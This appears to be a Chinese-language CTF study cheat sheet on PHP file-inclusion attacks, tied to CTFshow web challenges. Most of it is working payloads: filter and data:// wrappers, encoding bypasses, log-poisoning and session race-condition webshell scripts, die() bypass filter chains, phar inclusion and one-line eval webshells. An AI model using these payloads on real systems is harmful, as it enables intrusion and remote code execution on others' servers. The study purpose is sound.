PHP 文件包含漏洞 — 完整解题总结与方法速查
一、基础概念
常见文件包含函数
include() — 遇到错误生成警告,继续执行
require() — 遇到错误生成致命错误,脚本终止
include_once() — 同 include,但已包含的文件不再重复包含
require_once() — 同 require,但已包含的文件不再重复包含
file_get_contents() — 读取文件内容到字符串
fopen() / readfile() — 文件打开/读取输出
利用前提
php://input: allow_url_include = On
data://: allow_url_fopen = On + allow_url_include = On
远程文件包含: allow_url_fopen = On
二、第一原则 — 先探测,再攻击
选一个参数测试,按顺序检查:
1. 直接包含
?file=flag.php
?file=/etc/passwd
?file=../../../../../etc/passwd
2. 观察三要素
- 是否拼接后缀(如 .php) → 考虑截断/伪协议
- 是否替换/过滤关键字(php / data / : / . / < 等)
- 是否有死亡函数 die()
三、无过滤场景:直接读源码 / 执行命令
3.1 php://filter 读文件
?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=php://filter/convert.iconv.utf8.utf16/resource=flag.php
解码 Base64 得源码。适用于 include()、file_get_contents()、readfile()、file()。
3.2 php://input 执行命令(需 allow_url_include=On)
GET: ?file=php://input
POST: <?php system('cat flag.php');?>
3.3 data:// 执行命令(需 allow_url_include=On)
不编码:
?file=data://text/plain,<?php system('ls');?>
?file=data://text/plain,<?=system('tac flag.php');?>
Base64 编码:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmlsZS5waHAnKTs/Pg==
四、关键字过滤绕过 — 一张表速查
|
过滤内容 |
绕过方式 |
|
php |
大小写 pHp(协议名可绕过);二次编码 %2570%2568%2570 |
|
data |
大小写 Data;二次编码 |
|
: |
二次编码 %253A;日志包含(绕过路径中的 :) |
|
. |
二次编码 %252e;容器特性 %c0%ae(Java Tomcat);日志/Session 包含(无点号路径) |
|
/ |
二次编码 %252f;容器特性 %c0%af |
|
< |
data 协议 base64 编码 payload |
|
()、= |
使用无括号的 <?=...?>;或 base64 编码后在 data 协议中执行 |
|
.. |
%2e%2e%2f、..%2f、..%c0%af、%252e%252e%252f |
多关键字联合 | 统一用双重 URL 编码
双重 URL 编码公式:
对整串 php://filter/write=.../resource=shell.php 做两次 urlencode
每一次编码:字母不变(除非手动),: → %3A,. → %2E,/ → %2F,| → %7C
两次后:: → %253A,. → %252E,/ → %252F,| → %257C
五、日志包含 Getshell(绕过点号/协议/死亡函数限制)
5.1 确认中间件
?file=/etc/passwd
?file=/var/log/nginx/access.log
5.2 日志路径速查
Nginx: /var/log/nginx/access.log、/var/log/nginx/error.log
Apache: /var/log/apache2/access.log、/etc/httpd/logs/access_log、/var/log/httpd/access_log
Apache+Win: D:\xampp\apache\logs\access.log
IIS: C:\WINDOWS\system32\Logfiles
5.3 攻击流程
Step 1 — 在 User-Agent 插入一句话
User-Agent: <?php @eval($_REQUEST['cmd']);?>
Step 2 — 包含日志文件
?file=/var/log/nginx/access.log
Step 3 — 传递命令
cmd=system('tac fl0g.php');
六、Session 条件竞争 Getshell(极端过滤下的大杀器)
6.1 原理
PHP 默认 session.upload_progress.enabled = On,上传文件时会在
/tmp/sess_<PHPSESSID> 写入进度数据。通过条件竞争,在服务器清理前抢包含。
6.2 Session 文件路径
/tmp/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
6.3 方法一:Burp 双线程攻击
上传线程(30 线程,无限重放):
POST / HTTP/1.1
Cookie: PHPSESSID=exp
Content-Type: multipart/form-data; boundary=...
--boundary
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php system('ls');?>
--boundary
Content-Disposition: form-data; name="file"; filename="test.txt"
AAAAA...
--boundary--
访问线程(80 线程 > 上传线程数,无限重放):
GET /?file=/tmp/sess_exp HTTP/1.1
6.4 方法二:Python 脚本模板
import io, requests, threading
sessid = 'mysess'
data = {1: "system('cat fl0g.php');"}
url = 'http://目标地址/'
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(url,
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'},
files={'file': ('test.txt', f)},
cookies={'PHPSESSID': sessid})
def read(session):
while True:
resp = session.post(url + '?file=/tmp/sess_' + sessid, data=data)
if '成功标识' in resp.text:
print(resp.text)
return
with requests.session() as session:
for i in range(30):
threading.Thread(target=write, args=(session,)).start()
for i in range(30):
threading.Thread(target=read, args=(session,)).start()
6.5 进阶:先写入 webshell 再连接蚁剑
把 read 函数的 data 改为:
data = {"1": "file_put_contents('/var/www/html/shell.php','<?php eval($_POST[3]);?>');"}
6.6 注意事项
- session_destroy() / session_unset() / rm -rf /tmp/* 对条件竞争影响不大
- 访问线程数必须大于上传线程数
- 观察 HTTP 响应长度/状态码的异常包来判断竞争成功
七、绕过死亡函数 <?php die('...');?>
7.1 场景特征
代码形如:
file_put_contents($file, "<?php die('大佬别秀了');?>".$content);
核心思想:让前缀 <?php die(...);?> 在流处理中失效,
同时让我们的 payload 恢复为有效 PHP 代码。
7.2 方法一:convert.base64-decode(最推荐)
原理:base64_decode 跳过非 Base64 字符,<?php die(...);?> 中
只有字母保留(产生乱码),我们的 payload 用纯 Base64 + 填充字符对齐。
file 参数(双重 URL 编码):
?file=%2570%2568%2570%253A%252F%252F%2566%2569%256C%2574%2565%2572%252F%2577%2572%2569%2574%2565%253D%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2564%2565%2563%256F%2564%2565%252F%2572%2565%2573%256F%2575%2572%2563%2565%253D%2573%2568%2565%256C%256C%252E%2570%2568%2570
POST: content=aaPD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
(aa 为填充,后面是 <?php system('cat f*');?> 的 Base64)
7.3 方法二:string.strip_tags | convert.base64-decode
原理:strip_tags 先移除整个 <?php ... ?> 标签,剩下纯文本被 base64-decode 忽略。
file 参数(双重 URL 编码):
php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
POST: content=PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==
(不需要填充 aa)
注意:string.strip_tags 已弃用但不影响做题。
7.4 方法三:convert.iconv.UCS-2LE.UCS-2BE
原理:每 2 字节交换位置,打乱前缀 die(),同时我们预交换 payload 使其复原。
先计算交换后的 payload:
<?php $re = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_GET[1]);?>');
echo $re; // 输出类似 ?<hp pe@av(l_$EG[T]1;)>? ?>
file 参数(双重 URL 编码):
php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php
POST: contents=?<hp pe@av(l_$EG[T]1;)>?
(前面可能需要补 a 调整奇偶对齐)
八、zip:// / phar:// 压缩包包含
8.1 条件
PHP 5.3.0+,无扩展名限制 — .jpg 后缀也能被当作压缩包解压。
8.2 方法
制作压缩包,包含 test.txt:<?php phpinfo();?>,压缩为 shell.zip 或 shell.jpg
包含方式(phar:// 推荐,支持相对路径):
?file=phar://shell.jpg/test.txt
?file=phar://./upload/shell.jpg/test.txt
包含方式(zip://):
?file=zip:///绝对路径/shell.jpg%23test.txt(# 需编码为 %23)
8.3 生成 phar 文件脚本
<?php
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("test.txt", "<?php phpinfo();?>");
$phar->stopBuffering();
?>
需要 php.exe 运行,且 php.ini 中 phar.readonly = Off
九、其他包含技巧
9.1 /proc/self/environ 包含
条件:PHP 以 CGI 方式运行,/proc/self/environ 可读
Step 1: 在 User-Agent 插入 <?php system('ls');?>
Step 2: 访问 ?file=/proc/self/environ
9.2 路径截断
PHP < 5.3.4,magic_quotes_gpc = Off
%00 截断(拼接后缀时):?file=../../../etc/passwd%00
长路径截断:Windows 最大 256 字节,Linux 最大 4096 字节,超出丢弃
十、实战解题流程图
1. 直接包含测试
?file=flag.php
?file=/etc/passwd
2. 识别过滤规则
是否替换/拦截了:
php / data / : / . /( ) / = / < / ?
3.
|
无/轻过滤 |
中度过滤 |
极度过滤 |
|
php://filter data:// php://input 直接拿下flag |
(. : php 被替换但可用双重编码) 双重编码 → 读/写绕过 |
(. : php data ()= 全拦截) 日志包含 Session竞争 zip:///phar:// |
4. 有死亡函数 die()?
file_put_contents(...,
"<?php die();?>".$content)
5.
|
base64-decode+ 填充对齐 |
strip_tags+ base64 |
UCS-2LE→BE两字节交换 |
6. 根据 flag 文件名读取
ls / cat / tac / nl
空格用 %20 或直接用 f*
十一、常用命令与 Payload 速查
文件操作命令:
ls — 列出当前目录
ls / — 查看根目录
cat fl0g.php — 读取文件
tac fl0g.php — 倒序读取(绕过头部限制)
nl fl0g.php — 带行号显示
more fl0g.php — 分页查看
head fl0g.php — 查看头部
tail fl0g.php — 查看尾部
一句话木马模板:
<?php @eval($_GET['cmd']);?> — GET 传参
<?php @eval($_POST[1]);?> — POST 传参
<?php @eval($_REQUEST['cmd']);?> — REQUEST 传参(日志包含推荐)
<?php system('cat f*');?> — system 直接执行
<?=system('ls');?> — 短标签(不用括号)
十二、CTFshow web入门题目类型
web78: php://filter/base64 直接读
web79: 替换 php → 大小写 pHp 或 php://input 或 data://
web80: 替换 php+data → php://input (BP传POST) 或日志包含
web81: 替换 php+data+: → 日志包含
web82: 替换 php+data+:. → Session 条件竞争
web83: 新增 session_destroy → 脚本/日志包含(不受影响)
web84: 新增 rm -rf /tmp/* → 脚本竞争(不受影响)
web85: 新增 < 过滤 → 脚本竞争(不受影响)
web86: set_include_path → 脚本竞争(完整路径不受影响)
web87: file_put_contents + die() → 三种流绕过方法
web88: 正则过滤大量字符 → data:// 或日志包含
web116: 视频文件藏 PNG → 010 Editor 提取
web117: 过滤 base64/rot13/string → UCS-2LE.BE 交换绕过
更多推荐
所有评论(0)